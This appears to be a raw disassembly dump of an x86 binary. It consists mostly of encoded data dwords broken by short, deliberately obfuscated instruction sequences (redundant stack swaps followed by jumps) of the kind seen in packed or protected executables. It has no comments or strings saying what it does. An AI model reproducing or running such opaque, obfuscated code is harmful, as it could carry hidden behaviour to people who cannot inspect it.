		dd 5C24C77Dh, 0F0D5ABDAh, 0F35CD501h, 51AF7E8Ah, 0A011DE84h
		dd 315F7651h, 946107D3h, 0F084FC23h, 433D501h, 0D501F07Ch
		dd 18814CB5h, 8350F6C2h, 3564A912h, 0CAD35040h,	136D9CE1h
		dd 0A4CEAD91h, 0AD910B75h, 0F2BD26CEh, 7DDB2089h, 0ECC110B6h
		dd 1544C68Eh, 0CEAD906Bh, 27F45DC6h, 42222206h,	6594D993h
		dd 0C47EF110h, 0CD9CA811h, 0B302A86Fh, 8FDDF8EBh, 805A1B4Ah
		dd 4DD120h, 0FAC0AFD1h,	0CA1982D4h, 63C18EF7h, 1AE9F59Bh
		dd 0A89277DEh, 75C4FC46h, 0F3BC4F17h, 0A60F804Dh, 103F8CD9h
		dd 0D4FA7670h, 0DA0958C1h, 98AF362h, 0AD77D44h,	723FE5ACh
		dd 0FFF56F5Bh, 0BE212391h, 0F19763F6h, 602DD39Bh, 9A7A86EFh
		dd 125F2CD2h, 0F645EBB4h, 0E025CB98h, 0AB8478A4h, 95F33730h
		dd 5D90EEBEh, 0DE2319Ah, 0A95C08ECh, 98F63BE1h,	651B4ACCh
		dd 0CCA88AEFh, 97ABFA63h, 344C7BC8h, 0FDA88AEFh, 1FE74594h
		dd 0FD63479h, 0A64C1369h, 0A648257h, 95000000h,	0FAC76D37h
		dd 54723A89h, 9AF758Ch,	7016DE3Ch, 0D37945A3h, 3BE1A806h
		dd 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch,	32D8A301h
		dd 8953E865h, 4C381E3h,	50000000h, 4B8h, 58C32900h, 5C241C87h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 3A682414h
		dd 89000035h, 0BF572404h, 4E603C6Bh, 5C63F781h,	0FA894834h
		dd 83243C8Bh, 0EC8104C4h, 4, 83242489h,	58042404h, 8904EC83h
		dd 0D389241Ch, 5B085889h, 5024048Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 5A2434FFh, 4C481h, 0DEE90000h,	55FFF919h
		dd 78EC9BD6h, 0E821B27Ch, 0B8D9ED04h, 6546560h,	0E0FFC503h
		dd 5AAAE63Ch, 70A581ECh, 661F562Bh, 1AA19C46h, 2E40F3B8h
		dd 65B080E1h, 698C95A9h, 50AD8E1Ah, 16861057h, 491D03DDh
		dd 375404B4h, 5624D90Ch, 75A9C71Ah, 536E1B5Ch, 5512CC01h
		dd 2A3362FEh, 87CDCAFh,	71E0D93Fh, 11DF65F3h, 766A795h
		dd 0FB404EBh, 96E91054h, 0CA000004h, 72525E04h,	15F501A7h
		dd 0B999A54Bh, 5A3A46ECh, 0DDDFEB91h, 17BD86CBh, 0BE642B0Bh
		dd 6006D2B2h, 6AC7454h,	679663FAh, 0D4FABB19h, 0FB480D18h
		dd 0FABAB4CCh, 0C5147DD4h, 7AD75FDh, 0C68FED3Ah, 0AA73D120h
		dd 9961BF04h, 0B090A4F3h, 287542E8h, 8D5A00CAh,	81CA0251h
		dd 4AB3ED7Bh, 2FD59DFBh, 126E9DEAh, 1FDB4E86h, 349267B6h
		dd 207EC369h, 0DBA5D456h, 56DB4E85h, 46B784EDh,	5DAC22F7h
		dd 859FE110h, 0E918DB4Eh, 0DB4E8597h, 0FD66319Ah, 0DF0242AEh
		dd 85657117h, 270713B9h, 8AE8B55Bh, 7AD81DC3h, 0CB3C09AFh
		dd 0C186A77Ch, 23F09663h, 4DF763B2h, 1C28CE9Ah,	1CE743Ch
		dd 4E85A1D2h, 0E75D43DBh, 16D96AFCh, 5591B0h, 75CF0000h
		dd 0ED3A07ADh, 210F71A0h, 0B922DB4Fh, 0A7F69C63h, 4F210A78h
		dd 4004EADBh, 16428D95h, 1DE745B0h, 0EA39AA77h,	182h, 0AA75C000h
		dd 0ED93704h, 0F04E9B68h, 0D3318026h, 35936006h, 9DFBC86Eh
		dd 71612ED4h, 2593590Bh, 8F5A8DB7h, 35FDDDE9h, 8639838Fh
		dd 0EAB75D28h, 3CC2A79h, 6732905Dh, 9E04F4C1h, 201854A6h
		dd 7D0332ADh, 0B4DB4E3Dh, 5C54174Bh, 0E6AD9DEFh, 0D23BDEAFh
		dd 0B65C2583h, 5C02CAAAh, 0C167318Fh, 23C996F4h, 8B31F856h
		dd 0BDEC6E35h, 0DB4E59C3h, 0CF9C056Eh, 5CB79DFh, 0BE392B99h
		dd 0B01687B4h, 6843h, 0D19EFC00h, 7514DC2Bh, 0DB3906ACh
		dd 289E6B11h, 8E578ABAh, 0C00DDCE8h, 4F20EF91h,	45EBB7DBh
		dd 0D33C0778h, 0CA5D2684h, 1C8D5A00h, 0AD2572E8h, 42ABF0A3h
		dd 0C84A1775h, 4E68E799h, 78E14ADBh, 9BC937ABh,	16F8D660h
		dd 45E5B0h, 75230000h, 74C106ACh, 4F203B45h, 3E8DF6DBh
		dd 993F0B69h, 9BC9B5CCh, 0EDF99F68h, 4AA75A3h, 206B0837h
		dd 0B279DB4Fh, 18E58B54h, 78EC58A7h, 1642E57Dh,	0D12B0h
		dd 6DCB0000h, 0BE2FFCA2h, 2CF99F68h, 75A46CBBh,	0DA3805ABh
		dd 7E9F6C12h, 6D37AA9Ah, 0FB1528FCh, 0CD361F18h, 76A5F2C1h
		dd 0DB4E9A0Ah, 946FBE27h, 0B7E62B41h, 0D137BDC0h, 0CD2BF861h
		dd 84535F05h, 87E95A26h, 0D523BC24h, 0B51362CBh, 4B7A47EDh
		dd 0D5014537h, 0C08BE9B6h, 0E55FCB1Ah, 0DEA73A02h, 91FA6B38h
		dd 37DDA585h, 9E440C6Ah, 0C97BE1D1h, 9CA84E16h,	5B9992B4h
		dd 11F49B6h, 86870000h,	314F324Ah, 8AD99751h, 14626AFh
		dd 0F25978B4h, 9E6EAC26h, 1F6B204Fh, 7DE6D138h,	6B11DA38h
		dd 9DE2D9Eh, 313DE3ABh,	16E38951h, 7D4AF0B8h, 0CA3D278Dh
		dd 81505C02h, 0DD7B0534h, 612BD501h, 0D19AF0BBh, 84ED5E2Bh
		dd 1B7CF35h, 437FB65Bh,	0AF21433Eh, 0E8509FBEh,	3Fh, 8AE2F826h
		dd 223A1645h, 619DDB4Fh, 29FAC145h, 0A376C506h,	423E6D3Ah
		dd 0DADB4E9Eh, 4A90F074h, 0A2AEDD22h, 0AFDB4EA0h, 929A3A46h
		dd 0CB000000h, 9E314F7Eh, 9700DB4Eh, 6D37941h, 0F87E4695h
		dd 0FD4A8FDDh, 20FF81B0h, 0ED32DB4Fh, 4F20C2BEh, 9D066FDBh
		dd 4FE81F4Eh, 81DFD138h, 790736B8h, 0B8D501F1h,	0C497E64Fh
		dd 68308E5Bh, 551F7DC2h, 2271E2AFh, 0C0662E0Eh,	0AE541D7Bh
		dd 1A5B8A5Fh, 0C3D501F3h, 0B27A6DD7h, 32A3000Ch, 6CA8F53Ah
		dd 19CDC692h, 9AE61579h, 97D50211h, 4776C52Eh, 0CAD37901h
		dd 0AC0AD740h, 50713EE4h, 4D88F86Ch, 9DABDA1Fh,	0A4C47F12h
		dd 89DF854Eh, 0A5B11AC0h, 8FDDF85Bh, 882D1B4Ah,	0AB14D120h
		dd 12B880DEh, 6BFB3706h, 2B98D46Eh, 1C92776h, 0E3418E5Bh
		dd 37A8751Bh, 22FFB9E8h, 117F1AF8h, 9C63C153h, 8149A7F6h
		dd 0B300CFDBh, 0FA58FC84h, 76CC35BEh, 0C53603A9h, 0AA501876h
		dd 993F0765h, 4A17754Ah, 0D2B6D7A4h, 1A76F92h, 0A74D15F5h
		dd 0CBCDAh, 0B1ED0000h,	5F69451Ah, 0D8A0EFB6h, 0AF758C54h
		dd 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh,	0AD76D4A1h
		dd 0FDC3A07h, 743E9C69h, 0D8A301CEh, 52E86532h,	0B850E289h
		dd 4, 8358C201h, 148704EAh, 8A685C24h, 89000019h, 0C068243Ch
		dd 89000015h, 5568241Ch, 8B065466h, 0C483243Ch,	4EC8104h
		dd 89000000h, 4812424h,	424h, 0EC815B00h, 4, 8F243C89h
		dd 34FF0843h, 0C4835B24h, 2434FF04h, 4C4835Fh, 0F914E0E9h
		dd 0FF1754FFh, 92804791h, 6A85B82Ah, 0C5030654h, 0D0D5E0FFh
		dd 0D8406C23h, 50A95538h, 0DF4B485Fh, 645E5325h, 8D8D70B0h
		dd 6546B85h, 810F57h, 5B000000h, 5998D89h, 0BD8B064Dh
		dd 64D05B1h, 51D85C7h, 70B8064Dh, 0B8660000h, 858B1116h
		dd 64D3225h, 2E985C7h, 64Dh, 0B5FF0000h, 64D3171h, 6862E281h
		dd 95FF280Bh, 64D2E55h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0B1C35545h, 101D8501h, 870F064Dh, 4
		dd 0C15DBF66h, 95FF006Ah, 64D0511h, 1DEBC08Bh, 115ABAD0h
		dd 9969892Ah, 186E68B4h, 88726ABBh, 0C5A6C518h,	3152EEA4h
		dd 0F1B22C27h, 0DF04EB59h, 0E97C779Eh, 5ADh, 0AFBB6127h
		dd 525E04CFh, 0F602A872h, 97A34916h, 3C48EEB7h,	18E1B63Ah
		dd 0BF866672h, 612D0D19h, 7CFAFBBh, 0F1BE5561h,	0FAB5BEC2h
		dd 286873D4h, 3A07AD75h, 286D13DCh, 0C5B01CAh, 0AA5018F8h
		dd 144390DDh, 0DB4F206Ch, 0AF0D5CC5h, 277441E7h, 8E8DFEC9h
		dd 3904951Eh, 3FB07DE6h, 21C792F0h, 0EE8EA0DCh,	8DCF7DB1h
		dd 85F3693Eh, 14DF3DDFh, 0DA30A16Eh, 2A9B680Eh,	0FB57DDBh
		dd 0FD63403h, 0DC2B9C69h, 0CB27Eh, 0CBB5E431h, 0ECDB4E67h
		dd 4E67C3BDh, 3A056EDBh, 582482D1h, 0C087E5B2h,	67710F3Eh
		dd 57C0DB4Eh, 0C28F3501h, 0FA1BE851h, 0EFBB2E16h, 955D3D49h
		dd 80F322EFh, 16DB4E67h, 78D6A349h, 4B3B08AEh, 71797FE5h
		dd 0DD834CAAh, 0B722228Eh, 0B016FBAFh, 993F0967h, 0A40C5BCCh
		dd 50h,	7AD75E2h, 0F69C64C2h, 0DFA3D2A7h, 15DB4F20h, 0B8CA352Fh
		dd 5FB01642h, 1, 4AA759Dh, 0C18CEA37h, 58FEC51Bh, 6DCB1A8Bh
		dd 0D12FFCA2h, 33915E04h, 9AF8C56Bh, 0E75D2AD0h, 9705CB79h
		dd 0FDC83B29h, 0E7B41257h, 0FEDEF241h, 3A849036h, 3906AC75h
		dd 21C78EECh, 3A974D2h,	0A1FF4636h, 74E02FD5h, 9E440DF0h
		dd 44EAB292h, 7FDD2A77h, 0D0410EB4h, 4F20D7A9h,	0A2F15ADBh
		dd 8FD47A44h, 5872C753h, 85D43676h, 96CE3CB0h, 0DDF14884h
		dd 0AACAA06Eh, 15E28854h, 47EF55A4h, 74B0169Ch,	68h, 6AC75B2h
		dd 6B11DB39h, 8ABA289Eh, 732C68h, 8DFD7DB0h, 78C76D37h
		dd 9FAB511Ah, 3085F6BFh, 0A14B2F24h, 4BA976DFh,	5793D87Eh
		dd 0F303D860h, 13E83703h, 7542E8B5h, 0D9A64C17h, 3B08AE7Bh
		dd 97CDB1CAh, 0DD87F561h, 16EA1022h, 4AA7B0h, 75E50000h
		dd 0DB3906ACh, 859C690Fh, 6F38AB99h, 90EEBDC9h,	9D120C6h
		dd 3704AA75h, 4F206B08h, 0BB612BDBh, 1DC390EEh,	0BF89DF50h
		dd 0B0104C19h, 76A1B397h, 0B4B094ADh, 1450363Eh, 37DDA402h
		dd 58E082E8h, 117B016h,	55000000h, 0C005AB75h, 0A0BFCE84h
		dd 4E300F71h, 85B922DBh, 0F342FA08h, 65F8C01Eh,	0B627F49Ah
		dd 3CCC084Dh, 714D478Ah, 0BCDDB201h, 0AF796CD8h, 35A0FD09h
		dd 74DD834Ah, 0BB84E22Fh, 0E097C615h, 0C7D13827h, 2EFBA169h
		dd 374978BDh, 0FAD501DFh, 66F4291h, 0F29863C1h,	57FDC725h
		dd 61B0198Ah, 0C0662E8Ch, 0C087E5B4h, 0A56DCB1Ah, 7F0332FFh
		dd 6ED501DFh, 571FC282h, 78D6A5B1h, 5EBC0BB1h, 0C523F096h
		dd 344C7BFDh, 0FDD501DFh, 0DFF789B8h, 0D13AD501h, 5CBAFF68h
		dd 0C59AE98Fh, 12F56FD5h, 0B098A44Ah, 0B65B0396h, 17145h
		dd 28868300h, 7AEBB85Eh, 0FA85502Bh, 0DD228B31h, 3C9B5490h
		dd 2DA81DA8h, 3BDCAFDEh, 9DFBD138h, 0EC5D2AD0h,	9461CA9Dh
		dd 771DE947h, 522E5DAAh, 0DFD501F9h, 0EEB70D76h, 0BB0A7B48h
		dd 0AAEF955Dh, 0F9522E5Dh, 0ABDFD501h, 0EA9EE0E5h, 0B6FB6432h
		dd 1AAF987h, 80CF38D5h,	1EC48C6Ch, 0DFA60451h, 0ACFB6C39h
		dd 13E0864Eh, 6487BD23h, 2EAF69Ch, 0B65B3460h, 4897h, 0E2F8D500h
		dd 3A16458Ah, 17DB4F22h, 0CEB2E1AEh, 0D8DB4F1Fh, 3C9A670Dh
		dd 6A10DD70h, 50BE3401h, 98FEDE14h, 561EBCACh, 46ECB311h
		dd 6CB90879h, 4F21133Dh, 20E83EDBh, 7A06357Ah, 0B7DB4F1Eh
		dd 39D9E54Eh, 0B2h, 0A3986EFh, 0DB4F2076h, 280352BBh, 4B7ABFADh
		dd 0D1384FBCh, 0F14F1C85h, 0F13E8329h, 1F1BEC2h, 0BB0A73D5h
		dd 59FFC7A7h, 0F3185D8Ch, 0D9C5D501h, 1DB0786Bh, 71E2AF55h
		dd 0DBA84E1Bh, 26F5016Ah, 0F0D6AAD9h, 0F25BD501h, 830DC8A3h
		dd 1F12C54h, 245C8BD5h,	0DD501F1h, 2B70D9A4h, 1F084FCh
		dd 0DB44ADD5h, 5D346796h, 67BDCAD3h, 0B92AF79Dh, 0E5AD0B50h
		dd 0B201723Fh, 11B77FDDh, 521790CCh, 0FF28EF2Ch, 0D6BADBB0h
		dd 672E8C6Eh, 3E9772C1h, 3E9CE92Eh, 0D9A7CE74h,	0CDCEADB9h
		dd 1E8F5C02h, 4E9BEA53h, 7F257C1Fh, 581F75C4h, 0B74E5B2h
		dd 0DDF8B5FFh, 7E45D8A2h, 319A0BD8h, 0E93683C8h, 0F61DC38Bh
		dd 0DB4F208Ah, 0E18751A7h, 0A1FA2978h, 0D6D1208Ch, 0B5265A89h
		dd 0A20BD4FAh, 4A178053h, 727E24ECh, 5724CA92h,	0BEA52128h
		dd 550F7D56h
		dd 3844EAB2h, 0A5EA9058h, 1DE97C47h, 0EABF0E77h, 5F21509Dh
		dd 0D25AD6C4h, 8BF52469h, 0A65AD6C4h, 0C390EE3Dh, 0F6C36930h
		dd 0BD26CC98h, 8EF79D67h, 0F19763C1h, 58FEC624h, 0DC88748Bh
		dd 2B19FD16h, 3E4AF0B8h, 23F0965Eh, 6AC78D6h, 680EDB39h
		dd 72C12A9Bh, 854h, 28860A00h, 0E867B65Ch, 9AF7520h, 7016DE3Ch
		dd 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h,	690FDC3Ah
		dd 0CE743E9Ch, 32D8A301h, 0A068E865h, 8900006Bh, 0DF682414h
		dd 89000060h, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2434895Ch, 7FE9BD55h, 0CD814EBDh, 4692310Fh,	312DED81h
		dd 0EDC15298h, 16C58102h, 0F7D78F88h, 8EDC1D5h,	0F1ED814Dh
		dd 89FA94FAh, 0EC815DE8h, 4, 81242489h,	42404h,	835E0000h
		dd 48904ECh, 242C8124h,	0BEB6A38h, 8108468Fh, 6A380846h
		dd 348B0BEBh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 24048B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dd 1A8E298Ch, 70B4B876h, 0C5030654h, 0EB8AE0FFh, 52C51B61h
		dd 3850235Eh, 577E7410h, 699A314Eh, 0F2351968h,	0B86AA9h
		dd 87E65183h, 0D2F93631h, 0A4200E73h, 68F146A8h, 4EB45F9h
		dd 6E874586h, 4F9E9h, 0A84E1400h, 4BF1BC9Ch, 0EF955F3Fh
		dd 903603E3h, 35DBA484h, 0D0812729h, 75556107h,	1CFC08AEh
		dd 0BE9EAA50h, 0AD4450F6h, 0AFCFB1E0h, 5762D4FAh, 7AD7517h
		dd 6D13DC3Ah, 13B98161h, 7DACF946h, 0DB4F2103h,	1876C52Eh
		dd 765AA50h, 713E943Ah,	49A77CCBh, 950BD87Eh, 2CA3D27h
		dd 0A470505Ch, 4612F2FEh, 0AE75D3A0h, 0BA87C308h, 1B659460h
		dd 16DB4EFBh, 982679ADh, 83A479C8h, 0F553A59Fh,	46B7842Ah
		dd 27CD99F7h, 16BC84E2h, 7589D849h, 5A27CD95h, 4F0A482Bh
		dd 8EB69CDBh, 16543353h, 7CE8B0h, 65A10000h, 0A8D7763Bh
		dd 0DB4F10D8h, 62BCF059h, 6B32889Ch, 3887F8C5h,	1AAD7570h
		dd 723FA84Eh, 4F203F43h, 90EEB5DBh, 62CE1DC3h, 0E5B210E2h
		dd 4714723Fh, 0FA63D4A1h, 423D45ABh, 1DAB016h, 18000000h
		dd 0B65C2886h, 0CB2978E9h, 408D5A00h, 47A3DC04h, 43CC7753h
		dd 6CD70B57h, 670DD5F9h, 8651AFFEh, 0E8B513E0h,	91FF7542h
		dd 0BF6530D3h, 780BD3B3h, 0DD3B08AEh, 9C056E14h, 0AC754690h
		dd 10DB3906h, 47AD9D6Ah, 8E21EA1Dh, 0A9D81DC3h,	0DB4F20D7h
		dd 7C88F15Ah, 0A42460ADh, 1B0FDF2Fh, 95ACD4FBh,	0DC0BDB4Eh
		dd 0DB4E95A4h, 0F059248Dh, 0E87B43A1h, 420F781Eh, 69981AE4h
		dd 0DB4E9617h, 348B11Ah, 0E635DBA5h, 352F9D11h,	16CBA8CAh
		dd 5E4FB0h, 758D0000h, 85FB2AACh, 32DB4F20h, 4F207D03h
		dd 804BB4DBh, 83E1AE17h, 0D04613B9h, 36FFE262h,	0DBA48490h
		dd 3D0A6835h, 0E856CA97h, 40F1817Ch, 0C321B016h, 138451F7h
		dd 475CC4h, 759A0000h, 0DB3906ACh, 0A2209E0Fh, 2FCDFB3Fh
		dd 0F6E2F9C6h, 305FAC4Eh, 0DB4E4850h, 0CB2978E1h, 6505C02h
		dd 4E17AA75h, 16ADBA8h,	206E0534h, 0AF76DB4Fh, 0F8CE2773h
		dd 0EB3A7614h, 81AC57Fh, 0AFB0167Ah, 1,	5AB75EDh, 6C12DA38h
		dd 0AA9A7E9Fh, 82C76D37h, 16AC2D46h, 0D800025Fh, 0E2E216CCh
		dd 0F0965FB1h, 0C7243887h, 0BB195E0Eh, 0ADFA49EFh, 8F350260h
		dd 0FAC76D39h, 6C0B3A89h, 0B5D13766h, 59217F4Ch, 0FFC7A7B3h
		dd 255D8C59h, 0C8D5011Fh, 0AD7568DCh, 0DF2CFB07h, 11ED0B0h
		dd 0A9F861D5h, 10DD834Bh, 7744EAB2h, 1AE24087h,	0E736A774h
		dd 4E16C97Bh, 6FCD9CA8h, 48AEFDA3h, 0B658403Eh,	134DDh
		dd 28861B00h, 58FECA5Dh, 10C5A0EFh, 0A3E8175Ch,	34D13841h
		dd 9A670DD6h, 9E07DA29h, 0A3DD0C59h, 8ED501FFh,	0A301D625h
		dd 492935DBh, 0B00EDB81h, 857542E8h, 0FAC2251Fh, 0FF374978h
		dd 0A26FD501h, 5FC831FCh, 63DB6B53h, 4400B65Bh,	3E000000h
		dd 458AE2F8h, 4F223A16h, 0F4C117DBh, 0A710814Eh, 1FD5ABDAh
		dd 47DB4Fh, 7B677B3h, 781CB689h, 4E962F51h, 4A9902DBh
		dd 0D40666DEh, 242C5BA0h, 2DDB4E97h, 55217FC4h,	2271E2AFh
		dd 0A36E0Eh, 0F8240000h, 0FD4A8FDDh, 7A2605C1h,	9AC14F8Dh
		dd 0DB4EBFE6h, 6E9DE24Bh, 0DB4EC012h, 1A67B61Fh, 37EF1CEBh
		dd 77BC25D1h, 0DCA94F19h, 0E9471C6Bh, 8F6F7B21h, 255421C7h
		dd 0D5019150h, 9B62C08Dh, 0A3AA6F5h, 5D690FD7h,	0C268308Eh
		dd 2F3D9873h, 1AC08CEAh, 0F5317ECBh, 0C98543BEh, 33281A8h
		dd 0CAD38D0Bh, 0C310DD46h, 0A8394776h, 4F7ECEADh, 0CEADA831h
		dd 63CC9700h, 6CEEB614h, 0ADA7433Dh, 1C85EECEh,	413F9BD7h
		dd 9B01B3E0h, 7256774Ch, 294392F2h, 459B5E4h, 0C4F8C47Fh
		dd 8381B99Eh, 3642AB85h, 8FDDF8ECh, 791FEC4Ah, 9FEC3BACh
		dd 20939E70h, 7D4AB3D1h, 0F9C4571Fh, 0AC158653h, 76F8C0A0h
		dd 0AF86FA29h, 42ABD4FAh, 0FAAF651Bh, 0FA63CCD4h, 0E3D7FE2Dh
		dd 0F9676D4Dh, 2AD0984Bh, 0D0763E1Eh, 0B69B603h, 0D739A40h
		dd 246C277Ch, 410E6CBBh, 0D33CE2AEh, 4301E506h,	0F58853B1h
		dd 501D862Ch, 6A3290DFh, 8BE9B8C4h, 730D3CBEh, 0BE6C277Bh
		dd 0C11FEC55h, 138451F7h, 35FD5BAAh, 1775C28Fh,	0EF73A74Dh
		dd 8517307Ch, 3CAE837h,	80000000h, 0AF758C54h, 16DE3C09h
		dd 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h
		dd 743E9C69h, 0D8A301CEh, 68E86532h, 3CE9h, 89240489h
		dd 405E0h, 0E8830000h, 24048704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	654719Fh
		mov	esi, [esp]
		add	esp, 4
		push	9ACh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		mov	[eax+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0CF0B2F61h, 92AC46D7h, 7BA643BEh, 5B8C2C3h, 3065476h
		dd 0E8E0FFC5h, 50447A78h, 0DB37A3A1h, 3E734DF2h, 1B4785D4h
		dd 46556028h, 0A83049ECh, 5B36B7E3h, 616C6A6Ah,	9836F10Bh
		dd 0A61EB524h, 0F276C3A7h, 0BB5B2299h, 0C44C7574h, 8D1E9F4Eh
		dd 5477D18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 2A180768h, 5998D89h, 8C0F064Dh, 6
		dd 25ADB589h, 85C7064Dh, 64D051Dh, 59B4h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 60C35747h, 76675CC0h
		dd 33EA262h, 4D0E1185h,	0E985C706h, 64D02h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 8652C357h, 958B2DD8h, 64D0B7Dh, 2DB5FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0B07BBDC3h, 0B8666E0Bh, 0BD295708h, 64D204Dh
		dd 2E5595FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 7A9069C3h, 78A3A503h, 95FF006Ah
		dd 64D0511h, 29EBC08Bh,	1A4C3B91h, 534EF91Ch, 57A08D78h
		dd 198F7C23h, 0DC76D9B0h, 2C77480Fh, 0ED3198A2h, 33BE0284h
		dd 3FDE65BFh, 863A02E8h, 9E8F0h, 0B7280000h, 0E2D40674h
		dd 600ECD17h, 5E9h, 0B4833C00h,	0F530B5Ah, 615BC7B7h, 0EEC08158h
		dd 6800005Dh, 0
		dd 0BE85Bh, 75750000h, 0A033B972h, 4235C4FDh, 0B58501ACh
		dd 5E064D0Eh, 0BE0334FFh, 516EF099h, 6850F5Ah, 81000000h
		dd 13860FD1h, 0CDF2817Bh, 0F16D455h, 689h, 0D58D8B00h
		dd 81064D23h, 0CFD454F2h, 3800F6Fh, 0F000000h, 0EA81FAB7h
		dd 1D08E451h, 89181489h, 4D24359Dh, 0E1F4BE06h,	0EB833AADh
		dd 4699B903h, 894B31F1h, 4D1C599Dh, 0CCFB8106h,	0FFFFFA2h
		dd 0C85h, 0E9F98B00h, 14h, 0F1E8A44Fh, 0E9F18B97h, 0FFFFFF88h
		dd 0A0857D45h, 0DBFCAE5Fh, 9E7804EBh, 58E95679h, 42000005h
		dd 0EACAD67Ch, 8D6D791Fh, 31111DC3h, 0D2B2BE64h, 55576309h
		dd 8F35FE53h, 36DCA383h, 0D87E4A2Ah, 7E24ECCCh,	0DF0EDB72h
		dd 0D4FAA8A1h, 75458590h, 0ED3A07ADh, 0BCED67B1h, 0B60576E5h
		dd 0DDE98F58h, 0C28F35FDh, 29F69C64h, 8D5A00CBh, 0EFBC622Fh
		dd 521FC591h, 0BA872DF4h, 41036949h, 0B5AF1D8Bh, 0D8E48A52h
		dd 7A862CF8h, 0E328CE9Ah, 0F2196796h, 0D318DB4Eh, 4EF1DCA4h
		dd 83EC55DBh, 3A015F34h, 0C2A6C794h, 0ED935F82h, 933901E1h
		dd 9EA8124Eh, 419400B7h, 9001CE74h, 0B603D827h,	0E00F9158h
		dd 0DB4E26A0h, 0F2BF2891h, 70033281h, 74DB4E26h, 1B2BD68Eh
		dd 0C0B016B8h, 0C3h, 0A94F1B79h, 0AD75925Ah, 0FA56253Ch
		dd 0DF48FDA6h, 0ED6F3C9Ah, 4E78C2BEh, 9D066FDBh, 0EE2B5FD0h
		dd 0D92131EBh, 0D605DA29h, 0DB4E51ACh, 0C8458148h, 0EC89B7B7h
		dd 0AC271A5h, 2305EB81h, 1FC68D4h, 0B016C061h, 196h, 0AA75D400h
		dd 0A783BF04h, 1A719803h, 68B58AD9h, 8DBC3E0Ah,	0DB4E8AF3h
		dd 9F6CD53Eh, 209BFF63h, 0C52E39C0h, 0A74D1876h, 9AF7CDAh
		dd 7016DE3Ch, 0D8C267A3h, 6F99BF7Dh, 0F5BE5119h, 219E64Fh
		dd 3AA82E16h, 187698CCh, 8EDBA84Eh, 4E2C215Fh, 3EA710DBh
		dd 55C691EFh, 3A120D0Dh, 0F3BE14BEh, 9D8E44Dh, 2EF38DBCh
		dd 0D53EDB4Eh, 0BA602886h, 0F19B3975h, 0CFF33FE8h, 75226C80h
		dd 0DB3906ACh, 0D8256A10h, 4F20D7A9h, 0BDF15ADBh, 3183969Ch
		dd 0B98EDDFDh, 5A2482C9h, 2076E7B4h, 74E5B258h,	698BB925h
		dd 669A400Bh, 4F59272Ah, 1270BFC6h, 48EEB649h, 188127F2h
		dd 0E2642C0Ch, 4E56CDB3h, 0BD5DFBDBh, 0CDBD81C6h, 63309902h
		dd 0DFA83B05h, 8F03D039h, 7319E240h, 13DF35A6h,	0E02FA06Dh
		dd 6D05F074h, 8AB01691h, 8Fh, 6AC75C8h,	6B11DB39h, 0CE74409Eh
		dd 33D9A301h, 0E1634F66h, 20A0E00Fh, 2891DB4Fh,	61E351BFh
		dd 5B44B57Eh, 0D4E0C844h, 0D9B9C52Eh, 509D6A10h, 0ACC19714h
		dd 86D57D55h, 0E8B55B28h, 0A35E0674h, 0B0165193h, 6228h
		dd 28866600h, 79EAB75Dh, 5D03CC2Ah, 0C0663290h,	0B0561D7Bh
		dd 4E2372E3h, 0E6194B37h, 146C9B1Dh, 0B4DB4F21h, 0EB8818BBh
		dd 0EF5823B1h, 0C84177BBh, 0AF184DD2h, 7B98D4A3h, 0ACAB08DFh
		dd 3805AB76h, 3D085EC7h, 75804897h, 83704AAh, 0DB4F206Bh
		dd 26D19379h, 0B016421Ch, 7AD78D6h, 150B8h, 758E0000h
		dd 0DA3805ABh, 7E9F6C12h, 650A7DB9h, 0B9FB6A79h, 0EEE74198h
		dd 4493FCADh, 0AF796CD8h, 4877C409h, 0DB4E2638h, 2D4190F9h
		dd 8E9C05D0h, 0E41BB1D5h, 4985CA33h, 0C9A7FAB8h, 1311457Eh
		dd 0D9AF102Ch, 0B4E3307Fh, 0D1376FC3h, 0CA28F55Eh, 70505C02h
		dd 5FBD02A8h, 0CCA1F096h, 127E59Dh, 50F6C1D5h, 0B2582583h
		dd 62E2CEE5h, 0F3715D6Ch, 96A24810h, 348EEB6h, 0D76D6CC7h
		dd 0D8488FBh, 8A92720Eh, 0FE4339Ch, 7643E9B1h, 0D2242086h
		dd 0B6944796h, 321347EDh, 6BC918EBh, 22F1FDA3h,	275988D5h
		dd 0AD5015Ch, 5C067AA1h, 0C22BD501h, 87750D73h,	0AA2B65Bh
		dd 0E0000001h, 4A8FDDF8h, 3841701Bh, 0C28BE1D1h, 75DE4F1Ch
		dd 0DC824AA8h, 0D8A301D0h, 0BD85E332h, 24EC4A17h, 5BC1B17Eh
